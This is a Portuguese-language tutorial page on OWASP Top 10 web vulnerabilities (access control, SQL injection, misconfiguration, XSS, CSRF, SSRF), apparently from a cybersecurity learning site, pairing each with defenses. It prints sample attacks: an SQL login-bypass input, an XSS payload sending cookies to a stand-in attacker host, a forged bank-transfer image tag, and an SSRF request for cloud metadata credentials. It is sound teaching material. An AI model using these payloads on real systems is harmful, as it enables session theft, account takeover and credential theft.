Pular para o conteúdo principal

Documentation Index

Fetch the complete documentation index at: https://roadtocybersec.com/llms.txt

Use this file to discover all available pages before exploring further.

​
Vulnerabilidades Web (Web Vulnerabilities)

Aplicações web modernas são sistemas complexos construídos sobre camadas de frameworks, bibliotecas, APIs, bancos de dados e serviços de terceiros. Cada camada introduz vulnerabilidades potenciais que atacantes ativamente caçam. O OWASP (Open Worldwide Application Security Project, ou Projeto Aberto de Segurança de Aplicações Web) mantém a lista padrão da indústria dos riscos mais críticos.

​
A01: Controle de Acesso Quebrado (Broken Access Control)

O risco #1 no OWASP Top 10 (2021). Ocorre quando usuários podem agir fora de suas permissões pretendidas.

​
Falhas Comuns

  • IDOR (Insecure Direct Object Reference, ou Referência Direta Insegura a Objeto): Mudar um parâmetro na URL para acessar dados de outro usuário.
# Usuário 1001 visualiza sua própria fatura:
GET /api/invoices/1001

# Atacante muda o ID para ver a fatura do usuário 1002:
GET /api/invoices/1002    ← Sem verificação de autorização!
  • Escalação de privilégio (Privilege escalation): Usuário regular acessando funcionalidade de admin navegando diretamente para /admin/dashboard.
  • Controle de acesso ausente em nível de função: A UI esconde o botão “Deletar Usuário” para não-admins, mas o endpoint DELETE /api/users/123 não tem verificação no servidor.
Nunca confie em controles do lado do cliente (esconder botões, desabilitar campos) para segurança. Toda autorização deve ser aplicada no lado do servidor. Atacantes ignoram completamente a UI e interagem diretamente com sua API.

​
A03: Injeção (Injection)

Falhas de injeção ocorrem quando dados não confiáveis são enviados a um interpretador como parte de um comando ou consulta.

​
SQL Injection: Injeção SQL (SQLi)

O ataque de injeção mais conhecido. Um atacante manipula uma consulta SQL injetando código através da entrada do usuário. Código vulnerável: 
# NUNCA FAÇA ISSO - concatenação de strings com input do usuário
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
Input do ataque: 
username: admin' --
password: qualquercoisa
Consulta resultante: 
SELECT * FROM users WHERE username = 'admin' --' AND password = 'qualquercoisa'
O -- comenta a verificação de senha, concedendo acesso à conta admin sem saber a senha. Código seguro (consulta parametrizada, ou parameterized query): 
# SEMPRE use consultas parametrizadas
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)

​
A05: Configuração Insegura (Security Misconfiguration)

A vulnerabilidade mais comum em implantações do mundo real. Ocorre quando configurações de segurança são deixadas em padrões inseguros.

​
Configurações Inseguras Comuns

  • Credenciais padrão de admin (admin/admin, root/password)
  • Serviços, portas ou funcionalidades desnecessárias habilitadas
  • Mensagens de erro verbosas expondo stack traces e caminhos internos
  • Listagem de diretório habilitada em servidores web
  • Headers de segurança ausentes (Content-Security-Policy, X-Frame-Options, Strict-Transport-Security)
  • Buckets de armazenamento em nuvem (S3, GCS) deixados publicamente acessíveis
Exemplo real: Em 2017, um bucket AWS S3 mal configurado pertencente a um contratante militar dos EUA expôs dados de inteligência Top Secret: incluindo senhas, credenciais de segurança e chaves privadas de um sistema do Pentágono.

​
A07: Cross-Site Scripting: XSS (Script entre Sites)

XSS ocorre quando uma aplicação inclui dados não confiáveis em uma página web sem validação ou codificação adequada.

​
Tipos de XSS

TipoMecanismoPersistência
Stored XSS (XSS Armazenado)Script malicioso salvo no banco de dados (ex.: campo de comentário). Executa quando qualquer usuário visualiza a página.Persistente
Reflected XSS (XSS Refletido)Script malicioso embutido em uma URL. Executa quando a vítima clica no link.Não persistente
DOM-based XSSJavaScript do lado do cliente modifica o DOM usando dados não confiáveis.Não persistente
Exemplo de payload: 
<script>
  fetch('https://atacante.com/roubar?cookie=' + document.cookie)
</script>

​
Defesa

  • Codificação de saída (Output encoding): Codifique todos os dados do usuário antes de renderizar em HTML, JavaScript, CSS ou URLs.
  • CSP (Content Security Policy, ou Política de Segurança de Conteúdo): Header que restringe quais scripts podem executar na página.
  • Proteções de frameworks: React, Angular e Vue codificam saída automaticamente. Nunca ignore essas proteções (ex.: dangerouslySetInnerHTML no React) sem sanitização.

​
A08: CSRF (Cross-Site Request Forgery: Falsificação de Requisição entre Sites)

CSRF engana o navegador da vítima para fazer uma requisição indesejada em um site onde ela está autenticada. Cenário de ataque:
  1. Vítima está logada no banco em banco.com.br.
  2. Vítima visita uma página maliciosa contendo: <img src="https://banco.com.br/transferir?para=atacante&valor=10000">
  3. O navegador inclui automaticamente o cookie de sessão da vítima.
  4. O banco processa a transferência porque a requisição parece legítima.

​
Defesa

  • Tokens Anti-CSRF: Inclua um token único e imprevisível em cada formulário com mudança de estado.
  • Cookies SameSite: Defina o atributo SameSite em cookies de sessão para Strict ou Lax.
  • Re-autenticação: Para ações sensíveis, exija que o usuário reinsira sua senha.

​
A10: SSRF (Server-Side Request Forgery: Falsificação de Requisição do Lado do Servidor)

SSRF ocorre quando um atacante pode fazer o servidor enviar requisições HTTP para destinos arbitrários, incluindo serviços internos não acessíveis pela internet. 
# Requisição normal - buscar URL para preview
POST /api/fetch-url
{"url": "https://exemplo.com/artigo"}

# Ataque SSRF - acessar serviço interno de metadata
POST /api/fetch-url
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
Exemplo real: A violação do Capital One em 2019 (100M+ registros de clientes expostos) foi possibilitada por uma vulnerabilidade SSRF que permitiu ao atacante acessar credenciais IAM da AWS.

​
Defesa

  • Valide e sanitize todas as URLs fornecidas pelo usuário
  • Use allowlists (listas de permissão) para domínios/faixas de IP permitidos
  • Bloqueie requisições para faixas de IP internas (10.x.x.x, 172.16.x.x, 192.168.x.x, 169.254.x.x)

​
Principais Conclusões

  1. Nunca confie em input do usuário: Valide, sanitize e codifique tudo.
  2. Autorize no servidor: Controles do lado do cliente são cosméticos, não segurança.
  3. Use consultas parametrizadas: A única defesa confiável contra SQL Injection.
  4. Implemente headers CSP: Defesa em profundidade contra XSS.
  5. Proteja contra CSRF: Use tokens anti-CSRF e cookies SameSite.
  6. Bloqueie SSRF: Valide URLs, bloqueie IPs internos.
  7. Audite configurações: Configurações padrão quase nunca são seguras.